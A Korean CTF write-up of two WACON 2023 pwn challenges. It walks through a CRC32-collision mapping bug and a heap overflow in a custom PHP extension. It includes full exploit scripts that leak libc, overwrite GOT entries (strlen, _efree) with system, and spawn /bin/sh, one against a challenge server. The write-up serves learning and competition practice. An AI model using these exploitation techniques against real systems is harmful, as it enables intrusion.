CIDY
[WACON 2023] Write-Up (pwn) 본문
flash memory
일단 열어보면 가장 먼저 요 작업을 수행하는데, gdb에서 vmmap한 것 같은거(/proc/self/maps)를 한 줄씩 읽어오는거다.
그 중에서도 write권한이 있으며, heap, stack이 아닌 애들 주소를 xorxor함수에 돌려서 암호화해서 출력을 해 준다.
그리고 49c0에 배열로 길이 쭉 저장해놓고, 4940에 주소 쭉 저장해둔다. 그리고 addrs_48c0에는 진짜 주소들을 저장해둔다.
write권한이 있는 쪽에 memcpy하기 때문에 주소만 다를 뿐 내부 값은 거의 다 가지고 있다.
xorxor함수는 위와 같이 생겼는데, 주소 총 8바이트를 또 각 1비트씩 1인가 0인가 판단하면서 0혹은 0xedb88320을 xor하는데, 이게 내 머리로는 도저히 역연산을 짤 수가 없기 때문에 (브포도 시도해봤는데 경우의 수가 너무 많음) 그냥 대회 끝나고 디코에서 역산 코드를 긁어왔다ㅎ
def inverse_crc32(h):
MODULO = 0xEDB88320
C = 0xFFFFFFFF
k = C ^ int.from_bytes(h, 'big')
tmp = C
for i in range(8 * 4):
tmp = (tmp >> 1) ^ (MODULO if (tmp & 1) else 0)
k ^= tmp
inv = 0xcbf1acda
res = 0
while inv > 0:
if inv & 1:
res ^= k
k = (k >> 1) ^ (MODULO if (k & 1) else 0)
inv >>= 1
return int.to_bytes(res, 4, 'little')
음 이렇게 생겼는데 디코 글을 보니 이게 crc라는 알고리즘이고 문제 풀 때 이 주소를 완전 역산할 필요는 없고 해쉬 충돌쌍마냥 결과값이 같은 정도면 되는 것 같았다.
일단 문제를 더 읽어 보자!
메모리 주소값을 알려주고 나면 본격적으로 메뉴에 들어간다.
우선 allocate인데, mmap한 게 없어야 쓸 수 있는 메뉴이다. 개인키를 입력라하고 하고 입력을 받는다.
그리고 size를 입력하라고 하는데, 입력을 strlen만큼 crc해서 그 값을 주소삼아 매핑쓰고 now_mmaped에 저장한다.
3번은 mmaped되어 있어야 쓸 수 있는 메뉴로, 그냥 값을 어느 정도 쓸 수 있게 해 주는 게 전부다. 딱히 여기서 오버플로우라던가 별다른 취약점이 발생하지는 않는듯
그리고 이건 값을 읽어오는거다.
index라는건 어디서부터 쓸지/읽어올지 결정하는 것 정도이고 별다른 의미가 있지는 않다.
1번 케이스가 포인트인 것 같은데...
요렇게 생겼다. 40b8은 아까 메뉴 들어가기 전 while문에서 saved시킨 것의 개수이다. 저 mapped_4940에는 매핑된 주소들이 적혀 있고, 49c0에는 그 범위가 들어 있다. 그리고 48c0은 진짜 주소들이 적혀 있다.
흠.. 이래저래 취약하게 만들어졌다. 디코에서 왜 충돌쌍만 찾으면 된다고들 했는지 알겠다. 어차피 partial relro라서 got도 writable한 영역에 있으니까 충돌쌍만 찾아내면 거기 든 립씨값도 얼마든지 읽어올 수 있고, 또 그걸 overwrite하는것도 쉽다.
그러니까 특정 값이 주어졌을 때 어떤 값을 넣어야 crc의 결과가 그 특정 값으로 나올 수 있는지를 알아내는 코드를 짤 수 있으면 되는건데, 아까 디코에서 긁어왔다는 그 코드가 충돌쌍을 찾은 코드이다.
요렇게 매핑시켜보면 저장해둔 saved와 동일한 것을 볼 수 있다.
그럼 saved된 것들 중 가장 첫 번째 블록의 충돌쌍을 구해 code영역 복사본에 mmap시켜서 libc주소와 code주소를 모두 다 읽어올 수 있게 된다.
그럼 마무리는 got overwrite로 하면 될 것 같다. 어떤 것의 got를 덮어야 할까..
2번 메뉴에서 딱 좋은 걸 찾았다. strlen을 덮고 개인키 입력에 /bin/sh를 주면 된다!
충돌쌍 찾는게 산이고 이후로는 그냥 쉬운 문제인듯
from pwn import *
def load():
p.sendlineafter(b":> ", str(1).encode())
def alloc(key, size):
p.sendlineafter(b":> ", str(2).encode())
p.sendafter(b"PrivKey :> ", key)
p.sendlineafter(b"Size :> ", str(size).encode())
p.recvuntil(b"Your Map: ")
addr = int(p.recvline()[:-1], 16)
return addr
def read(idx):
p.sendlineafter(b":> ", str(3).encode())
p.sendlineafter(b"Index :>", str(idx).encode())
def write(idx, data):
p.sendlineafter(b":> ", str(4).encode())
p.sendlineafter(b"Index :>", str(idx).encode())
p.send(data)
def inverse_crc32(h):
MODULO = 0xEDB88320
C = 0xFFFFFFFF
k = C ^ h
tmp = C
for i in range(8 * 4):
tmp = (tmp >> 1) ^ (MODULO if (tmp & 1) else 0)
k ^= tmp
inv = 0xcbf1acda
res = 0
while inv > 0:
if inv & 1:
res ^= k
k = (k >> 1) ^ (MODULO if (k & 1) else 0)
inv >>= 1
return res
p = remote("58.229.185.61", 10002)
#p = process("./app")
e = ELF("./app")
saved = []
addrs = []
for i in range(6):
p.recvuntil(b"Saved : ")
xored = int(p.recvline()[:-1], 16)
saved.append(xored)
addrs.append(inverse_crc32(xored >> 12))
print("[+] CODE_CRC : " + hex(saved[0]))
print("[+] COLLISION : " + hex(addrs[0]))
mmap = alloc(p32(addrs[0]), 0x1000)
print("[+] mapped : ", hex(mmap))
read(e.got['fopen'] - 0x4000)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x7f6b0
print(hex(libc_base))
read(0x98)
code_base = u64(p.recvn(7)[1:].ljust(8, b"\x00")) - 0x4098
print(hex(code_base))
write(e.got['strlen'] - 0x4000, p64(libc_base + 0x50d60))
load()
p.sendlineafter(b":> ", str(2).encode())
p.sendafter(b"PrivKey :> ", "/bin/sh\x00")
p.sendlineafter(b"Size :> ", str(100).encode())
p.interactive()
요즘 포너블은 다재다능해야 푸는구나..😥
heaphp
#!/usr/bin/env python3
import tempfile
import pathlib
import os
os.chdir(pathlib.Path(__file__).parent.resolve())
with tempfile.NamedTemporaryFile() as tmp:
print('Send the file: (ended with "\\n-- EOF --\\n"):')
s = input()
while(s != '-- EOF --'):
tmp.write((s+'\n').encode())
s = input()
tmp.flush()
os.system('timeout -s9 3 php -c /home/pwn/php.ini ' + tmp.name)
우선 문제 코드는 위와 같다. php스크립트를 입력으로 받아서 실행해주는 간단한 코드이다.
문제 파일에 포함된 heaphp.so를 보면 다음과 같은 extension들을 이용할 수 있다.
add, view, edit, list, delete.. 전형적인 힙 문제의 구조이다.
우선 위 함수들을 살펴보자. 군데군데 쓸모 없는 레이블이랑 이런 함수들..검색해보니 php에서 쓰이는 함수인 것 같다.
뭐 이런저런 조건문들은 곁가지로 그냥 무시해도 되는 것 같다.
우선 note*라는게 정의되어 있는 모양이고, notes[]가 전역에 존재한다. v8은 인덱스이고 앞에서부터 탐색해서 없는 곳에 할당해준다.
그리고 emalloc은 php내부 api인데, 결국 내부적으로 메모리를 동적할당 하도록 되어 있다.
암튼 48사이즈로 할당한 포인터를 notes[idx]에 저장하고 size부분에 strlen을 넣어둔다. strlen은 v6 + 24를 기준으로 재는데 뭔지 모르겠음.
그리고 content부분에 strlen만큼 할당한 포인터를 또 넣는다.
ida에서 이런 식으로 struct도 다 알려준다. 그러니까 정리하면,
struct note{
char title[0x20];
size_t size; //8바이트
char* content;
}
struct note* notes[];
요렇게 되는 거다.
딱 전체 크기가 0x30인걸로 보아 emalloc_48은 emalloc(48)이 맞는듯하다.
암튼 마지막으로 content로 memcpy하고 끝난다.
v7은 *(v6 + 16)이고 v11은 *(v16 + 24)인데 각각 size, content인듯
v7은 진짜 인자 길이인데, emalloc에서는 strlen으로 길이를 측정해 넣기 때문에 content포인터를 할당해올때 오버플로우를 맘껏 일으킬 수 있다는 취약점이 있다.
이게 어떻게 화면에 출력하는 view의 기능을 하는지는 모르겠다; 그런데 memcpy인자를 보면 저장해두었던 size만큼 읽어오는 것 같기는 하다.
그러니까 최대 size(원래 저장해둔 값)만큼 memcpy로 수정시켜주는듯
만약 size값 딱 맞춰서 입력 주면 v9에 size들어가고 if문 안으로 들어가서 size = size + 1이 되어서 뭔가 1바 널 오버플로우가 일어날 것 같기도 하다. 유의미할지는 모르겠지만 암튼 취약점 하나 적립
content free, note free, 하고 포인터 초기화. 내용물 초기화 안 해서 엄청 안전한 건 아니지만 딱히 취약하다고 할 만한 것까진 아니다.
흠 일단 릭을 내보자. 아무래도 view에서 릭을 내야 할 건데, 구조체에 저장해둔 size값을 데려와서 그만큼 view를 하니까 heap overflow로 size를 덮으면 leak은 손쉽게 낼 수 있다.
partial relro이므로 got overwrite도 염두에 두고 진행해보자.
일단
노트1 --> 재할당
노트1의 content --> 재할당
노트2
노트2의 content
이런 식으로 배치를 하고 노트1을 삭제 --> 재할당하면서(다행히 순서 변화는 없었다.) content에서 overflow --> 노트의 사이즈 변수 overwrite --> 노트2 view해서 릭을 낼 수 있을 것 같다.
디버깅해보니까 이게 역시 일반적인 힙 영역에 들어가는 게 아니고 립씨 근처에 매핑되는데다 메모리 매핑이 독특한건지 같은 사이즈 청크끼리 비슷한곳에 위치해서 널 바이트 위치를 좀 신경써줄 필요가 있을 것 같다. (노트는 0x30사이즈를 인자로 할당되니까 거기에 다 맞춰주면 좋을듯)
그럼 직접 열어보면서 잘 덮어보자. 디버깅은 gdb에서 다음과 같은 명령어로 할 수 있다.
$ gdb php8.1
gef➤ pie breakpoint 0x123559
gef➤ pie run -c ./php.ini ./sol.php
gef➤ b * write
나는 로컬 디버깅 편하려고 php.ini를 수정해서 extension경로를 ./heaphp.so로 해둬서 위와 같은 명령어로 sol.php를 실행시킬 수 있고, 수정하기 싫으면 그냥 /home/pwn 디렉 만들어서 그 아래 php.ini를 카피하면 될듯하다.
b * write는 php에서 echo를 쓰면 write호출돼서 echo를 약간 pause()처럼 이용할 수 있게 되는 점을 이용한 것이다.
<?php
echo "BP";
add_note("NOTE1", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
add_note("NOTE2", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
delete_note(0);
add_note("NOTE1", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00XXX");
?>
위 스크립트를 실행시켰을 때 메모리 상태는 아래와 같다.
x/s 2300은 NOTE1이라는 문자열이고 아래는 NOTE2여야 하는데 널바이트 포함 XXX(\x58\x58\x58)가 memcpy되어 있는 것을 볼 수 있다. 오버플로우가 잘 발생한 것이다.
그럼 0x20바이트 오버플로우 시키고 size부분인 2380까지 잘 덮어주면 주소를 릭할 수 있을 것이다.
<?php
add_note("NOTE1", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
add_note("NOTE2", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
delete_note(0);
add_note("NOTE1", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xff");
echo "BP\n";
echo view_note(1); echo "\n";
?>
출력을 화면에 해주는 게 아니고 return값으로 주기 때문에 위와 같이 echo를 붙여야 릭을 할 수 있다.
흠 굉장히 뭔지모를 바이트들이 출력되었다. 이런 식으로 주소를 릭해올 수 있는 듯 하다. 그리고 여기서 조작한 size변수 뒤쪽에는 content를 가리키는 포인터가 있고, 그걸 기준으로 edit, view등을 수행하기 때문에 aaw도 쉽게 가능하다.
익스 마무리는 아래 두 가지를 고려해볼 수 있다.
1. got overwrite --> _efree덮으면 title이나 content에 /bin/sh를 적어서 간단히 쉘을 얻을 수 있다.
2. ROP
1번을 하려면 코드릭이 필요하고 2번을 하려면 스택릭이 필요하다. 아무래도 environ까지 건드리면 offset맞추기가 힘들 것 같아서 그냥 got overwirte를 하기로 했다.
그런데 _efree를 검색하니 got가 안 뜬다. 매핑을 검색해보니까 php8.1의 _efree인데 내가 덮고 싶은 것은 heaphp.so의 _efree인데...
heaphp.so의 매핑 위치를 보니 별도로 릭이 필요하지 않을 수도 있겠다.
찾았다! _efree@got.plt이다. 쟤를 system으로 덮으면 된다.
문제는 offset 계산인데.. 라이브러리가 워낙 많이 링크돼있어서 remote에서도 저대로 매핑이 유지될지 모르겠다.
<?php
function dechex($dec){
switch($dec){
case 0:
return "0";
case 1:
return "1";
case 2:
return "2";
case 3:
return "3";
case 4:
return "4";
case 5:
return "5";
case 6:
return "6";
case 7:
return "7";
case 8:
return "8";
case 9:
return "9";
case 10:
return "a";
case 11:
return "b";
case 12:
return "c";
case 13:
return "d";
case 14:
return "e";
case 15:
return "f";
}
}
function dec2hex($addr){
$str = "";
$remainder = 0;
while($addr){
$remainder = ($addr % 16);
$str = dechex($remainder).$str;
$addr = ($addr - $remainder) / 16;
}
return $str;
}
function addr2bytes($addr){
$bytes = b"";
for($i = 0; $i < 8; $i++){
$bytes = $bytes.pack("C*", $addr & 0xff);
$addr = $addr >> 8;
}
return $bytes;
}
function bytes2addr($buf, $start, $end){
$addr = 0;
for($i = $start; $i < $end; $i++){
$mul = 1;
for($j = $start; $j < $i; $j++){
$mul *= 0x100;
}
$addr += ord($buf[$i]) * $mul;
}
return $addr;
}
add_note("NOTE1", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
add_note("NOTE2", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
delete_note(0);
add_note("NOTE1", b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00"."XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xff");
$buf = view_note(1);
$got_offset = 0x33b0c38;
$system_offset = 0x264e940;
$heap = bytes2addr($buf, 0x30, 0x38);
$efree_got = $heap + $got_offset;
$system = $heap + $system_offset;
echo "HEAP: 0x".dec2hex($heap)."\n";
echo "EFREE: 0x".dec2hex($efree_got)."\n";
echo "SYSTEM: 0x".dec2hex($system)."\n";
delete_note(0);
add_note(b"/bin/sh\x00", b"/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00"."XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xff"."\x00\x00\x00\x00\x00\x00\x00".addr2bytes($efree_got));
edit_note(1, addr2bytes($system));
delete_note(0);
?>
이렇게 코드를 짰다. pwntools의 패킹 언패킹 기능 등이 없어 대충 구현해서 썼다.
코드 디버깅을 진행해보니 system과 efree@got주소가 알맞게 구해졌으며, efree@got가 system으로 잘 덮어졌고 쉘까지 따인 것을 확인했다. 그렇게 끝나는가 싶었는데..
...gdb 내부와 로컬과 도커와 리모트가 모두 다른 사태가 일어났다. 아무리 삽질을 해도 리모트를 맞추기가 어려워서 그냥 쉘을 딴 셈 치기로 했다.
'Hack > CTF' 카테고리의 다른 글
[CCE 2024 Qual] Untrusted Compiler (0) | 2024.08.29 |
---|---|
[LINE CTF 2021] bank (0) | 2023.08.03 |
[QWB CTF 2018] core (0) | 2023.07.26 |
[zer0pts CTF 2023] Himitsu Note (0) | 2023.07.22 |
[DanteCTF 2023] Write up (2) | 2023.06.05 |